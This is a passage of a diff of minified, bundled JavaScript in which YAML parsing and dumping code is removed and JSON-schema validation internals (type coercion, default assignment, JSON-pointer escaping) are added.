56320 + 65536), o10++) : r9 += !(n10 = k6[t11]) && F6(t11) ? e13[o10] : n10 || R6(t11); - return r9; - }(t10) + '"'; - default: - throw new r8("impossible error: invalid scalar style"); - } - }(); - if (!n9) { - let t11 = new oe4(e12, o8).write(i9, "before-eol"); - "" !== t11 && (s8 += " " + t11); - } - e12.dump = s8; + function p7(e12) { + return e12.replace(/~1/g, "/").replace(/~0/g, "~"); } - function W5(e12, t10) { - var i9 = L6(e12) ? String(t10) : "", n9 = "\n" === e12[e12.length - 1]; - return i9 + (!n9 || "\n" !== e12[e12.length - 2] && "\n" !== e12 ? n9 ? "" : "-" : "+") + "\n"; + function c7({ mergeNames: e12, mergeToName: t10, mergeValues: i9, resultToName: r9 }) { + return (o8, s8, a8, p8) => { + const c8 = void 0 === a8 ? s8 : a8 instanceof n8.Name ? (s8 instanceof n8.Name ? e12(o8, s8, a8) : t10(o8, s8, a8), a8) : s8 instanceof n8.Name ? (t10(o8, a8, s8), s8) : i9(s8, a8); + return p8 !== n8.Name || c8 instanceof n8.Name ? c8 : r9(o8, c8); + }; } - function J5(e12) { - return "\n" === e12[e12.length - 1] ? e12.slice(0, -1) : e12; + function d7(e12, t10) { + if (true === t10) + return e12.var("props", true); + const i9 = e12.var("props", n8._`{}`); + return void 0 !== t10 && f8(e12, i9, t10), i9; } - function Z5(e12, t10) { - if ("" === e12 || " " === e12[0]) - return e12; - for (var i9, n9, r9 = / [^ ]/g, o8 = 0, s8 = 0, a8 = 0, p8 = ""; i9 = r9.exec(e12); ) - (a8 = i9.index) - o8 > t10 && (n9 = s8 > o8 ? s8 : a8, p8 += "\n" + e12.slice(o8, n9), o8 = n9 + 1), s8 = a8; - return p8 += "\n", e12.length - o8 > t10 && s8 > o8 ? p8 += e12.slice(o8, s8) + "\n" + e12.slice(s8 + 1) : p8 += e12.slice(o8), p8.slice(1); + function f8(e12, t10, i9) { + Object.keys(i9).forEach((i10) => e12.assign(n8._`${t10}${(0, n8.getProperty)(i10)}`, true)); } - function Y6(e12, t10, i9) { - var n9, o8, s8, c8, d8, f9; - for (s8 = 0, c8 = (o8 = i9 ? e12.explicitTypes : e12.implicitTypes).length; s8 < c8; s8 += 1) - if (((d8 = o8[s8]).instanceOf || d8.predicate) && (!d8.instanceOf || "object" == typeof t10 && t10 instanceof d8.instanceOf) && (!d8.predicate || d8.predicate(t10))) { - if (e12.tag = i9 ? d8.tag : "?", d8.represent) { - if (f9 = e12.styleMap[d8.tag] || d8.defaultStyle, "[object Function]" === a7.call(d8.represent)) - n9 = d8.represent(t10, f9); - else { - if (!p7.call(d8.represent, f9)) - throw new r8("!<" + d8.tag + '> tag resolver accepts not "' + f9 + '" style'); - n9 = d8.represent[f9](t10, f9); - } - e12.dump = n9; - } + t9.toHash = function(e12) { + const t10 = {}; + for (const i9 of e12) + t10[i9] = true; + return t10; + }, t9.alwaysValidSchema = function(e12, t10) { + return "boolean" == typeof t10 ? t10 : 0 === Object.keys(t10).length || (o7(e12, t10), !s7(t10, e12.self.RULES.all)); + }, t9.checkUnknownRules = o7, t9.schemaHasRules = s7, t9.schemaHasRulesButRef = function(e12, t10) { + if ("boolean" == typeof e12) + return !e12; + for (const i9 in e12) + if ("$ref" !== i9 && t10.all[i9]) return true; - } return false; - } - function X5(e12, t10, i9, n9, o8, s8, p8) { - e12.tag = null, e12.dump = i9, Y6(e12, i9, false) || Y6(e12, i9, true); - var c8 = a7.call(e12.dump); - n9 && (n9 = e12.flowLevel < 0 || e12.flowLevel > t10), (null !== e12.tag && "?" !== e12.tag || 2 !== e12.indent && t10 > 0) && (o8 = false); - var f9, l8, u8 = "[object Object]" === c8 || "[object Array]" === c8; - if (u8 && (l8 = -1 !== (f9 = e12.duplicates.indexOf(i9))), (null !== e12.tag && "?" !== e12.tag || l8 || 2 !== e12.indent && t10 > 0) && (o8 = false), l8 && e12.usedDuplicates[f9]) - e12.dump = "*ref_" + f9; - else { - if (u8 && l8 && !e12.usedDuplicates[f9] && (e12.usedDuplicates[f9] = true), "[object Object]" === c8) - n9 && 0 !== Object.keys(e12.dump).length ? (function(e13, t11, i10, n10, o9) { - var s9, a8, p9, c9, f10, l9, u9 = "", m9 = e13.tag, h9 = Object.keys(i10); - if (true === e13.sortKeys) - h9.sort(); - else if ("function" == typeof e13.sortKeys) - h9.sort(e13.sortKeys); - else if (e13.sortKeys) - throw new r8("sortKeys must be a boolean or a function"); - var y8, g8 = new oe4(e13, o9); - for (u9 += g8.write(t11, "before-eol"), u9 += g8.write(t11, "leading"), s9 = 0, a8 = h9.length; s9 < a8; s9 += 1) - l9 = "", n10 && 0 === s9 || (l9 += V5(e13, t11)), c9 = i10[p9 = h9[s9]], u9 += g8.writeAt(p9, t11, "before"), X5(e13, t11 + 1, p9, true, true, true, o9) && ((f10 = null !== e13.tag && "?" !== e13.tag || e13.dump && e13.dump.length > 1024) && (e13.dump && d7 === e13.dump.charCodeAt(0) ? l9 += "?" : l9 += "? "), l9 += e13.dump, f10 && (l9 += V5(e13, t11)), X5(e13, t11 + 1, c9, true, f10, false, `${o9}/${y8 = p9, y8.replace(ne4, "~0").replace(re4, "~1")}`) && (e13.dump && d7 === e13.dump.charCodeAt(0) ? l9 += ":" : l9 += ": ", u9 += l9 += e13.dump, u9 += g8.writeAt(t11, p9, "after"))); - e13.tag = m9, e13.dump = u9 || "{}", e13.dump += g8.write(t11, "trailing"); - }(e12, t10, e12.dump, o8, p8), l8 && (e12.dump = "&ref_" + f9 + e12.dump)) : (function(e13, t11, i10, n10) { - var r9, o9, s9, a8, p9, c9 = "", d8 = e13.tag, f10 = Object.keys(i10); - for (r9 = 0, o9 = f10.length; r9 < o9; r9 += 1) - p9 = "", 0 !== r9 && (p9 += ", "), e13.condenseFlow && (p9 += '"'), a8 = i10[s9 = f10[r9]], X5(e13, t11, s9, false, false, false, n10) && (e13.dump.length > 1024 && (p9 += "? "), p9 += e13.dump + (e13.condenseFlow ? '"' : "") + ":" + (e13.condenseFlow ? "" : " "), X5(e13, t11, a8, false, false, false, n10) && (c9 += p9 += e13.dump)); - e13.tag = d8, e13.dump = "{" + c9 + "}"; - }(e12, t10, e12.dump, p8), l8 && (e12.dump = "&ref_" + f9 + " " + e12.dump)); - else if ("[object Array]" === c8) { - var m8 = e12.noArrayIndent && t10 > 0 ? t10 - 1 : t10; - n9 && 0 !== e12.dump.length ? (function(e13, t11, i10, n10, r9) { - var o9, s9, a8 = "", p9 = e13.tag, c9 = new oe4(e13, r9); - for (a8 += c9.write(t11, "before-eol"), a8 += c9.write(t11, "leading"), o9 = 0, s9 = i10.length; o9 < s9; o9 += 1) - a8 += c9.writeAt(String(o9), t11, "before"), X5(e13, t11 + 1, i10[o9], true, true, false, `${r9}/${o9}`) && (n10 && 0 === o9 || (a8 += V5(e13, t11)), e13.dump && d7 === e13.dump.charCodeAt(0) ? a8 += "-" : a8 += "- ", a8 += e13.dump), a8 += c9.writeAt(String(o9), t11, "after"); - e13.tag = p9, e13.dump = a8 || "[]", e13.dump += c9.write(t11, "trailing"); - }(e12, m8, e12.dump, o8, p8), l8 && (e12.dump = "&ref_" + f9 + e12.dump)) : (function(e13, t11, i10, n10) { - var r9, o9, s9 = "", a8 = e13.tag; - for (r9 = 0, o9 = i10.length; r9 < o9; r9 += 1) - X5(e13, t11, i10[r9], false, false, false, n10) && (0 !== r9 && (s9 += "," + (e13.condenseFlow ? "" : " ")), s9 += e13.dump); - e13.tag = a8, e13.dump = "[" + s9 + "]"; - }(e12, m8, e12.dump, p8), l8 && (e12.dump = "&ref_" + f9 + " " + e12.dump)); - } else { - if ("[object String]" !== c8) { - if (e12.skipInvalid) - return false; - throw new r8("unacceptable kind of an object to dump " + c8); - } - "?" !== e12.tag && G5(e12, e12.dump, t10, s8, p8); - } - null !== e12.tag && "?" !== e12.tag && (e12.dump = "!<" + e12.tag + "> " + e12.dump); + }, t9.schemaRefOrVal = function({ topSchemaRef: e12, schemaPath: t10 }, i9, r9, o8) { + if (!o8) { + if ("number" == typeof i9 || "boolean" == typeof i9) + return i9; + if ("string" == typeof i9) + return n8._`${i9}`; + } + return n8._`${e12}${t10}${(0, n8.getProperty)(r9)}`; + }, t9.unescapeFragment = function(e12) { + return p7(decodeURIComponent(e12)); + }, t9.escapeFragment = function(e12) { + return encodeURIComponent(a7(e12)); + }, t9.escapeJsonPointer = a7, t9.unescapeJsonPointer = p7, t9.eachItem = function(e12, t10) { + if (Array.isArray(e12)) + for (const i9 of e12) + t10(i9); + else + t10(e12); + }, t9.mergeEvaluated = { props: c7({ mergeNames: (e12, t10, i9) => e12.if(n8._`${i9} !== true && ${t10} !== undefined`, () => { + e12.if(n8._`${t10} === true`, () => e12.assign(i9, true), () => e12.assign(i9, n8._`${i9} || {}`).code(n8._`Object.assign(${i9}, ${t10})`)); + }), mergeToName: (e12, t10, i9) => e12.if(n8._`${i9} !== true`, () => { + true === t10 ? e12.assign(i9, true) : (e12.assign(i9, n8._`${i9} || {}`), f8(e12, i9, t10)); + }), mergeValues: (e12, t10) => true === e12 || { ...e12, ...t10 }, resultToName: d7 }), items: c7({ mergeNames: (e12, t10, i9) => e12.if(n8._`${i9} !== true && ${t10} !== undefined`, () => e12.assign(i9, n8._`${t10} === true ? true : ${i9} > ${t10} ? ${i9} : ${t10}`)), mergeToName: (e12, t10, i9) => e12.if(n8._`${i9} !== true`, () => e12.assign(i9, true === t10 || n8._`${i9} > ${t10} ? ${i9} : ${t10}`)), mergeValues: (e12, t10) => true === e12 || Math.max(e12, t10), resultToName: (e12, t10) => e12.var("items", t10) }) }, t9.evaluatedPropsToName = d7, t9.setEvaluated = f8; + const l7 = {}; + var u7; + function m7(e12, t10, i9 = e12.opts.strictSchema) { + if (i9) { + if (t10 = `strict mode: ${t10}`, true === i9) + throw new Error(t10); + e12.self.logger.warn(t10); } - return true; - } - function ee4(e12, t10) { - var i9, n9, r9 = [], o8 = []; - for (te4(e12, r9, o8), i9 = 0, n9 = o8.length; i9 < n9; i9 += 1) - t10.duplicates.push(r9[o8[i9]]); - t10.usedDuplicates = new Array(n9); } - function te4(e12, t10, i9) { - var n9, r9, o8; - if (null !== e12 && "object" == typeof e12) - if (-1 !== (r9 = t10.indexOf(e12))) - -1 === i9.indexOf(r9) && i9.push(r9); - else if (t10.push(e12), Array.isArray(e12)) - for (r9 = 0, o8 = e12.length; r9 < o8; r9 += 1) - te4(e12[r9], t10, i9); - else - for (r9 = 0, o8 = (n9 = Object.keys(e12)).length; r9 < o8; r9 += 1) - te4(e12[n9[r9]], t10, i9); + t9.useFunc = function(e12, t10) { + return e12.scopeValue("func", { ref: t10, code: l7[t10.code] || (l7[t10.code] = new r8._Code(t10.code)) }); + }, function(e12) { + e12[e12.Num = 0] = "Num", e12[e12.Str = 1] = "Str"; + }(u7 || (t9.Type = u7 = {})), t9.getErrorPath = function(e12, t10, i9) { + if (e12 instanceof n8.Name) { + const r9 = t10 === u7.Num; + return i9 ? r9 ? n8._`"[" + ${e12} + "]"` : n8._`"['" + ${e12} + "']"` : r9 ? n8._`"/" + ${e12}` : n8._`"/" + ${e12}.replace(/~/g, "~0").replace(/\\//g, "~1")`; + } + return i9 ? (0, n8.getProperty)(e12).toString() : "/" + a7(e12); + }, t9.checkStrictMode = m7; + }, 74758: (e11, t9) => { + "use strict"; + function i8(e12, t10) { + return t10.rules.some((t11) => n8(e12, t11)); } - function ie3(e12, t10) { - var i9 = new D6(t10 = t10 || {}); - return t10.noRefs || ee4(e12, i9), X5(i9, 0, e12, true, true, false, "#") ? i9.dump + "\n" : ""; + function n8(e12, t10) { + var i9; + return void 0 !== e12[t10.keyword] || (null === (i9 = t10.definition.implements) || void 0 === i9 ? void 0 : i9.some((t11) => void 0 !== e12[t11])); } - t9.dump = ie3, t9.safeDump = function(e12, t10) { - return ie3(e12, n8.extend({ schema: s7 }, t10)); - }; - const ne4 = /~/g, re4 = /\//g; - function oe4(e12, t10) { - if (this.state = e12, this.comments = { "before-eol": /* @__PURE__ */ new Set(), leading: /* @__PURE__ */ new Set(), trailing: /* @__PURE__ */ new Set(), before: /* @__PURE__ */ new Map(), after: /* @__PURE__ */ new Map() }, this.written = /* @__PURE__ */ new WeakSet(), null !== e12.comments && t10 in e12.comments) - for (let i9 of e12.comments[t10]) - switch (i9.placement) { - case "before-eol": - case "leading": - case "trailing": - this.comments[i9.placement].add(i9); - break; - case "between": - let e13 = this.comments.before.get(i9.between[1]); - e13 ? e13.add(i9) : this.comments.before.set(i9.between[1], /* @__PURE__ */ new Set([i9])); - let t11 = this.comments.after.get(i9.between[0]); - t11 ? t11.add(i9) : this.comments.after.set(i9.between[0], /* @__PURE__ */ new Set([i9])); - } + Object.defineProperty(t9, "__esModule", { value: true }), t9.shouldUseRule = t9.shouldUseGroup = t9.schemaHasRulesForType = void 0, t9.schemaHasRulesForType = function({ schema: e12, self: t10 }, n9) { + const r8 = t10.RULES.types[n9]; + return r8 && true !== r8 && i8(e12, r8); + }, t9.shouldUseGroup = i8, t9.shouldUseRule = n8; + }, 15948: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.boolOrEmptySchema = t9.topBoolOrEmptySchema = void 0; + const n8 = i8(49409), r8 = i8(17898), o7 = i8(63036), s7 = { message: "boolean schema is false" }; + function a7(e12, t10) { + const { gen: i9, data: r9 } = e12, o8 = { gen: i9, keyword: "false schema", data: r9, schema: false, schemaCode: false, schemaValue: false, params: {}, it: e12 }; + (0, n8.reportError)(o8, s7, void 0, t10); } - oe4.prototype.write = function(e12, t10) { - let i9 = ""; - for (let n9 of this.comments[t10]) - i9 += this._write(n9, e12); - return i9; - }, oe4.prototype.writeAt = function(e12, t10, i9) { - let n9 = "", r9 = this.comments[i9].get(e12); - if (r9) - for (let e13 of r9) - n9 += this._write(e13, t10); - return n9; - }, oe4.prototype._write = function(e12, t10) { - if (this.written.has(e12)) - return ""; - this.written.add(e12); - let i9 = "#" + e12.value; - return "before-eol" === e12.placement ? i9 : 0 === t10 && "leading" === e12.placement ? i9 + "\n" : V5(this.state, t10) + i9; + t9.topBoolOrEmptySchema = function(e12) { + const { gen: t10, schema: i9, validateName: n9 } = e12; + false === i9 ? a7(e12, false) : "object" == typeof i9 && true === i9.$async ? t10.return(o7.default.data) : (t10.assign(r8._`${n9}.errors`, null), t10.return(true)); + }, t9.boolOrEmptySchema = function(e12, t10) { + const { gen: i9, schema: n9 } = e12; + false === n9 ? (i9.var(t10, false), a7(e12)) : i9.var(t10, true); }; - }, 94716: (e11) => { + }, 69003: (e11, t9, i8) => { "use strict"; - class t9 { - constructor(e12, t10 = null, i8 = false) { - this.name = "YAMLException", this.reason = e12, this.mark = t10, this.message = this.toString(false), this.isWarning = i8; + Object.defineProperty(t9, "__esModule", { value: true }), t9.reportTypeError = t9.checkDataTypes = t9.checkDataType = t9.coerceAndCheckDataType = t9.getJSONTypes = t9.getSchemaTypes = t9.DataType = void 0; + const n8 = i8(90383), r8 = i8(74758), o7 = i8(49409), s7 = i8(17898), a7 = i8(50458); + var p7; + function c7(e12) { + const t10 = Array.isArray(e12) ? e12 : e12 ? [e12] : []; + if (t10.every(n8.isJSONType)) + return t10; + throw new Error("type must be JSONType or JSONType[]: " + t10.join(",")); + } + !function(e12) { + e12[e12.Correct = 0] = "Correct", e12[e12.Wrong = 1] = "Wrong"; + }(p7 || (t9.DataType = p7 = {})), t9.getSchemaTypes = function(e12) { + const t10 = c7(e12.type); + if (t10.includes("null")) { + if (false === e12.nullable) + throw new Error("type: null contradicts nullable: false"); + } else { + if (!t10.length && void 0 !== e12.nullable) + throw new Error('"nullable" cannot be used without "type"'); + true === e12.nullable && t10.push("null"); } - static isInstance(e12) { - if (null != e12 && e12.getClassIdentifier && "function" == typeof e12.getClassIdentifier) { - for (let i8 of e12.getClassIdentifier()) - if (i8 == t9.CLASS_IDENTIFIER) - return true; - } - return false; + return t10; + }, t9.getJSONTypes = c7, t9.coerceAndCheckDataType = function(e12, t10) { + const { gen: i9, data: n9, opts: o8 } = e12, a8 = function(e13, t11) { + return t11 ? e13.filter((e14) => d7.has(e14) || "array" === t11 && "array" === e14) : []; + }(t10, o8.coerceTypes), c8 = t10.length > 0 && !(0 === a8.length && 1 === t10.length && (0, r8.schemaHasRulesForType)(e12, t10[0])); + if (c8) { + const r9 = l7(t10, n9, o8.strictNumbers, p7.Wrong); + i9.if(r9, () => { + a8.length ? function(e13, t11, i10) { + const { gen: n10, data: r10, opts: o9 } = e13, a9 = n10.let("dataType", s7._`typeof ${r10}`), p8 = n10.let("coerced", s7._`undefined`); + "array" === o9.coerceTypes && n10.if(s7._`${a9} == 'object' && Array.isArray(${r10}) && ${r10}.length == 1`, () => n10.assign(r10, s7._`${r10}[0]`).assign(a9, s7._`typeof ${r10}`).if(l7(t11, r10, o9.strictNumbers), () => n10.assign(p8, r10))), n10.if(s7._`${p8} !== undefined`); + for (const e14 of i10) + (d7.has(e14) || "array" === e14 && "array" === o9.coerceTypes) && c9(e14); + function c9(e14) { + switch (e14) { + case "string": + return void n10.elseIf(s7._`${a9} == "number" || ${a9} == "boolean"`).assign(p8, s7._`"" + ${r10}`).elseIf(s7._`${r10} === null`).assign(p8, s7._`""`); + case "number": + return void n10.elseIf(s7._`${a9} == "boolean" || ${r10} === null + || (${a9} == "string" && ${r10} && ${r10} == +${r10})`).assign(p8, s7._`+${r10}`); + case "integer": + return void n10.elseIf(s7._`${a9} === "boolean" || ${r10} === null + || (${a9} === "string" && ${r10} && ${r10} == +${r10} && !(${r10} % 1))`).assign(p8, s7._`+${r10}`); + case "boolean": + return void n10.elseIf(s7._`${r10} === "false" || ${r10} === 0 || ${r10} === null`).assign(p8, false).elseIf(s7._`${r10} === "true" || ${r10} === 1`).assign(p8, true); + case "null": + return n10.elseIf(s7._`${r10} === "" || ${r10} === 0 || ${r10} === false`), void n10.assign(p8, null); + case "array": + n10.elseIf(s7._`${a9} === "string" || ${a9} === "number" + || ${a9} === "boolean" || ${r10} === null`).assign(p8, s7._`[${r10}]`); + } + } + n10.else(), m7(e13), n10.endIf(), n10.if(s7._`${p8} !== undefined`, () => { + n10.assign(r10, p8), function({ gen: e14, parentData: t12, parentDataProperty: i11 }, n11) { + e14.if(s7._`${t12} !== undefined`, () => e14.assign(s7._`${t12}[${i11}]`, n11)); + }(e13, p8); + }); + }(e12, t10, a8) : m7(e12); + }); } - getClassIdentifier() { - return [].concat(t9.CLASS_IDENTIFIER); + return c8; + }; + const d7 = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null"]); + function f8(e12, t10, i9, n9 = p7.Correct) { + const r9 = n9 === p7.Correct ? s7.operators.EQ : s7.operators.NEQ; + let o8; + switch (e12) { + case "null": + return s7._`${t10} ${r9} null`; + case "array": + o8 = s7._`Array.isArray(${t10})`; + break; + case "object": + o8 = s7._`${t10} && typeof ${t10} == "object" && !Array.isArray(${t10})`; + break; + case "integer": + o8 = a8(s7._`!(${t10} % 1) && !isNaN(${t10})`); + break; + case "number": + o8 = a8(); + break; + default: + return s7._`typeof ${t10} ${r9} ${e12}`; } - toString(e12 = false) { - var t10; - return t10 = "JS-YAML: " + (this.reason || "(unknown reason)"), !e12 && this.mark && (t10 += " " + this.mark.toString()), t10; + return n9 === p7.Correct ? o8 : (0, s7.not)(o8); + function a8(e13 = s7.nil) { + return (0, s7.and)(s7._`typeof ${t10} == "number"`, e13, i9 ? s7._`isFinite(${t10})` : s7.nil); } } - t9.CLASS_IDENTIFIER = "yaml-ast-parser.YAMLException", e11.exports = t9; - }, 85725: (e11, t9, i8) => { - "use strict"; - function n8(e12) { - for (var i9 in e12) - t9.hasOwnProperty(i9) || (t9[i9] = e12[i9]); + function l7(e12, t10, i9, n9) { + if (1 === e12.length) + return f8(e12[0], t10, i9, n9); + let r9; + const o8 = (0, a7.toHash)(e12); + if (o8.array && o8.object) { + const e13 = s7._`typeof ${t10} != "object"`; + r9 = o8.null ? e13 : s7._`!${t10} || ${e13}`, delete o8.null, delete o8.array, delete o8.object; + } else + r9 = s7.nil; + o8.number && delete o8.integer; + for (const e13 in o8) + r9 = (0, s7.and)(r9, f8(e13, t10, i9, n9)); + return r9; } - Object.defineProperty(t9, "__esModule", { value: true }); - var r8 = i8(89130); - t9.load = r8.load, t9.loadAll = r8.loadAll, t9.safeLoad = r8.safeLoad, t9.safeLoadAll = r8.safeLoadAll; - var o7 = i8(17128); - t9.dump = o7.dump, t9.safeDump = o7.safeDump, t9.YAMLException = i8(94716), n8(i8(37952)), n8(i8(58198)); - }, 89130: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(37952), r8 = i8(29228), o7 = i8(94716), s7 = i8(57804), a7 = i8(23102), p7 = i8(80406); - var c7 = Object.prototype.hasOwnProperty, d7 = 1, f8 = 2, l7 = 3, u7 = 4, m7 = 1, h8 = 2, y7 = 3, g7 = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F-\x84\x86-\x9F\uFFFE\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/, b8 = /[\x85\u2028\u2029]/, v8 = /[,\[\]\{\}]/, j6 = /^(?:!|!!|![a-z\-]+!)$/i, $5 = /^(?:!|[^,\[\]\{\}])(?:%[0-9a-f]{2}|[0-9a-z\-#;\/\?:@&=\+\$,_\.!~\*'\(\)\[\]])*$/i; - function x7(e12) { - return 10 === e12 || 13 === e12; + t9.checkDataType = f8, t9.checkDataTypes = l7; + const u7 = { message: ({ schema: e12 }) => `must be ${e12}`, params: ({ schema: e12, schemaValue: t10 }) => "string" == typeof e12 ? s7._`{type: ${e12}}` : s7._`{type: ${t10}}` }; + function m7(e12) { + const t10 = function(e13) { + const { gen: t11, data: i9, schema: n9 } = e13, r9 = (0, a7.schemaRefOrVal)(e13, n9, "type"); + return { gen: t11, keyword: "type", data: i9, schema: n9.type, schemaCode: r9, schemaValue: r9, parentSchema: n9, params: {}, it: e13 }; + }(e12); + (0, o7.reportError)(t10, u7); } - function _6(e12) { - return 9 === e12 || 32 === e12; + t9.reportTypeError = m7; + }, 96841: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.assignDefaults = void 0; + const n8 = i8(17898), r8 = i8(50458); + function o7(e12, t10, i9) { + const { gen: o8, compositeRule: s7, data: a7, opts: p7 } = e12; + if (void 0 === i9) + return; + const c7 = n8._`${a7}${(0, n8.getProperty)(t10)}`; + if (s7) + return void (0, r8.checkStrictMode)(e12, `default is ignored for: ${c7}`); + let d7 = n8._`${c7} === undefined`; + "empty" === p7.useDefaults && (d7 = n8._`${d7} || ${c7} === null || ${c7} === ""`), o8.if(d7, n8._`${c7} = ${(0, n8.stringify)(i9)}`); } - function w6(e12) { - return 9 === e12 || 32 === e12 || 10 === e12 || 13 === e12; + t9.assignDefaults = function(e12, t10) { + const { properties: i9, items: n9 } = e12.schema; + if ("object" === t10 && i9) + for (const t11 in i9) + o7(e12, t11, i9[t11].default); + else + "array" === t10 && Array.isArray(n9) && n9.forEach((t11, i10) => o7(e12, i10, t11.default)); + }; + }, 96223: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.getData = t9.KeywordCxt = t9.validateFunctionCode = void 0; + const n8 = i8(15948), r8 = i8(69003), o7 = i8(74758), s7 = i8(69003), a7 = i8(96841), p7 = i8(49348), c7 = i8(53322), d7 = i8(17898), f8 = i8(63036), l7 = i8(14856), u7 = i8(50458), m7 = i8(49409); + function h8({ gen: e12, validateName: t10, schema: i9, schemaEnv: n9, opts: r9 }, o8) { + r9.code.es5 ? e12.func(t10, d7._`${f8.default.data}, ${f8.default.valCxt}`, n9.$async, () => { + e12.code(d7._`"use strict"; ${y7(i9, r9)}`), function(e13, t11) { + e13.if(f8.default.valCxt, () => { + e13.var(f8.default.instancePath, d7._`${f8.default.valCxt}.${f8.default.instancePath}`), e13.var(f8.default.parentData, d7._`${f8.default.valCxt}.${f8.default.parentData}`), e13.var(f8.default.parentDataProperty, d7._`${f8.default.valCxt}.${f8.default.parentDataProperty}`), e13.var(f8.default.rootData, d7._`${f8.default.valCxt}.${f8.default.rootData}`), t11.dynamicRef && e13.var(f8.default.dynamicAnchors, d7._`${f8.default.valCxt}.${f8.default.dynamicAnchors}`); + }, () => { + e13.var(f8.default.instancePath, d7._`""`), e13.var(f8.default.parentData, d7._`undefined`), e13.var(f8.default.parentDataProperty, d7._`undefined`), e13.var(f8.default.rootData, f8.default.data), t11.dynamicRef && e13.var(f8.default.dynamicAnchors, d7._`{}`); + }); + }(e12, r9), e12.code(o8); + }) : e12.func(t10, d7._`${f8.default.data}, ${function(e13) { + return d7._`{${f8.default.instancePath}="", ${f8.default.parentData}, ${f8.default.parentDataProperty}, ${f8.default.rootData}=${f8.default.data}${e13.dynamicRef ? d7._`, ${f8.default.dynamicAnchors}={}` : d7.nil}}={}`; + }(r9)}`, n9.$async, () => e12.code(y7(i9, r9)).code(o8)); } - function S6(e12) { - return 44 === e12 || 91 === e12 || 93 === e12 || 123 === e12 || 125 === e12; + function y7(e12, t10) { + const i9 = "object" == typeof e12 && e12[t10.schemaId]; + return i9 && (t10.code.source || t10.code.process) ? d7._`/*# sourceURL=${i9} */` : d7.nil; } - function P6(e12) { - var t10; - return 48 <= e12 && e12 <= 57 ? e12 - 48 : 97 <= (t10 = 32 | e12) && t10 <= 102 ? t10 - 97 + 10 : -1; + function g7({ schema: e12, self: t10 }) { + if ("boolean" == typeof e12) + return !e12; + for (const i9 in e12) + if (t10.RULES.all[i9]) + return true; + return false; } - function O7(e12) { - return 120 === e12 ? 2 : 117 === e12 ? 4 : 85 === e12 ? 8 : 0; + function b8(e12) { + return "boolean" != typeof e12.schema; } - function T6(e12) { - return 48 <= e12 && e12 <= 57 ? e12 - 48 : -1; + function v8(e12) { + (0, u7.checkUnknownRules)(e12), function(e13) { + const { schema: t10, errSchemaPath: i9, opts: n9, self: r9 } = e13; + t10.$ref && n9.ignoreKeywordsWithRef && (0, u7.schemaHasRulesButRef)(t10, r9.RULES) && r9.logger.warn(`$ref: keywords ignored in schema at path "${i9}"`); + }(e12); } - function A6(e12) { - return e12 <= 65535 ? String.fromCharCode(e12) : String.fromCharCode(55296 + (e12 - 65536 >> 10), 56320 + (e12 - 65536 & 1023)); + function j6(e12, t10) { + if (e12.opts.jtd) + return x7(e12, [], false, t10); + const i9 = (0, r8.getSchemaTypes)(e12.schema); + x7(e12, i9, !(0, r8.coerceAndCheckDataType)(e12, i9), t10); } - for (var I6, E6 = new Array(256), q5 = new Array(256), k6 = new Array(256), M6 = new Array(256), R6 = 0; R6 < 256; R6++) - M6[R6] = q5[R6] = 48 === (I6 = R6) ? "\0" : 97 === I6 ? "\x07" : 98 === I6 ? "\b" : 116 === I6 || 9 === I6 ? " " : 110 === I6 ? "\n" : 118 === I6 ? "\v" : 102 === I6 ? "\f" : 114 === I6 ? "\r" : 101 === I6 ? "\x1B" : 32 === I6 ? " " : 34 === I6 ? '"' : 47 === I6 ? "/" : 92 === I6 ? "\\" : 78 === I6 ? "\x85" : 95 === I6 ? "\xA0" : 76 === I6 ? "\u2028" : 80 === I6 ? "\u2029" : "", E6[R6] = q5[R6] ? 1 : 0, k6[R6] = 1, E6[R6] || (M6[R6] = "\\" + String.fromCharCode(R6)); - class D6 { - constructor(e12, t10) { - this.errorMap = {}, this.errors = [], this.lines = [], this.input = e12, this.filename = t10.filename || null, this.schema = t10.schema || p7, this.onWarning = t10.onWarning || null, this.legacy = t10.legacy || false, this.allowAnyEscape = t10.allowAnyEscape || false, this.ignoreDuplicateKeys = t10.ignoreDuplicateKeys || false, this.implicitTypes = this.schema.compiledImplicit, this.typeMap = this.schema.compiledTypeMap, this.length = e12.length, this.position = 0, this.line = 0, this.lineStart = 0, this.lineIndent = 0, this.documents = []; + function $5({ gen: e12, schemaEnv: t10, schema: i9, errSchemaPath: n9, opts: r9 }) { + const o8 = i9.$comment; + if (true === r9.$comment) + e12.code(d7._`${f8.default.self}.logger.log(${o8})`); + else if ("function" == typeof r9.$comment) { + const i10 = d7.str`${n9}/$comment`, r10 = e12.scopeValue("root", { ref: t10.root }); + e12.code(d7._`${f8.default.self}.opts.$comment(${o8}, ${i10}, ${r10}.schema)`); } } - function C6(e12, t10, i9 = false) { - return new o7(t10, new s7(e12.filename, e12.input, e12.position, e12.line, e12.position - e12.lineStart), i9); - } - function V5(e12, t10, i9, n9 = false, r9 = false) { - var a8 = function(e13, t11) { - for (var i10, n10 = 0; n10 < e13.lines.length && !(e13.lines[n10].start > t11); n10++) - i10 = e13.lines[n10]; - return i10 || { start: 0, line: 0 }; - }(e12, t10); - if (a8) { - var p8 = i9 + t10; - if (!e12.errorMap[p8]) { - var c8 = new s7(e12.filename, e12.input, t10, a8.line, t10 - a8.start); - r9 && (c8.toLineEnd = true); - var d8 = new o7(i9, c8, n9); - e12.errors.push(d8); - } + function x7(e12, t10, i9, n9) { + const { gen: r9, schema: a8, data: p8, allErrors: c8, opts: l8, self: m8 } = e12, { RULES: h9 } = m8; + function y8(u8) { + (0, o7.shouldUseGroup)(a8, u8) && (u8.type ? (r9.if((0, s7.checkDataType)(u8.type, p8, l8.strictNumbers)), _6(e12, u8), 1 === t10.length && t10[0] === u8.type && i9 && (r9.else(), (0, s7.reportTypeError)(e12)), r9.endIf()) : _6(e12, u8), c8 || r9.if(d7._`${f8.default.errors} === ${n9 || 0}`)); } + !a8.$ref || !l8.ignoreKeywordsWithRef && (0, u7.schemaHasRulesButRef)(a8, h9) ? (l8.jtd || function(e13, t11) { + !e13.schemaEnv.meta && 